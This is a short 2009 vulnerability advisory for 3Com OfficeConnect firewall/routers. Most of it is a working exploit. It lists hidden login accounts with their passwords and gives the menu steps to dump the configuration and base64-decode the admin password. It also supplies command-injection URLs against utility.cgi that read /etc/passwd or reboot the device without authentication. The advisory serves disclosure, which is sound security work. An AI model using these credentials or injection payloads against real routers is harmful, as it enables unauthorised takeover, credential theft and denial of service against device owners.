3Com OfficeConnect routers; password disclosure and remote command execution

2009.10.20
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

************************************************************** Product: 3Com OfficeConnect Firewall/Router Website: http://www.3com.com/ Discovered By: Andrea Fabrizi Email: andrea.fabrizi@gmail.com Web: http://www.andreafabrizi.it Vuln: remote command execution and password disclosure ************************************************************** ####### Admin password disclosure ####### 1) SSH/Telnet to router using one of these hidden accounts: support:support user:5 nobody:admin 2) Type 9 3) Type 1 3) Type 3 to dump the configuration 4) Locate the sysPassword field: <sysPassword value="cXdlcnR5Cg=="/> 5) Decode the admin password: roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d qwerty ####### Remote command execution ####### http://1.2.3.4/utility.cgi?testType=1&IP=aaa || cat /etc/passwd To see the command output you need to log into the router, however the command is executed even the user is not logged in, so if you don't have access to the device a DOS is also possible: http://1.2.3.4/utility.cgi?testType=1&IP=aaa || reboot


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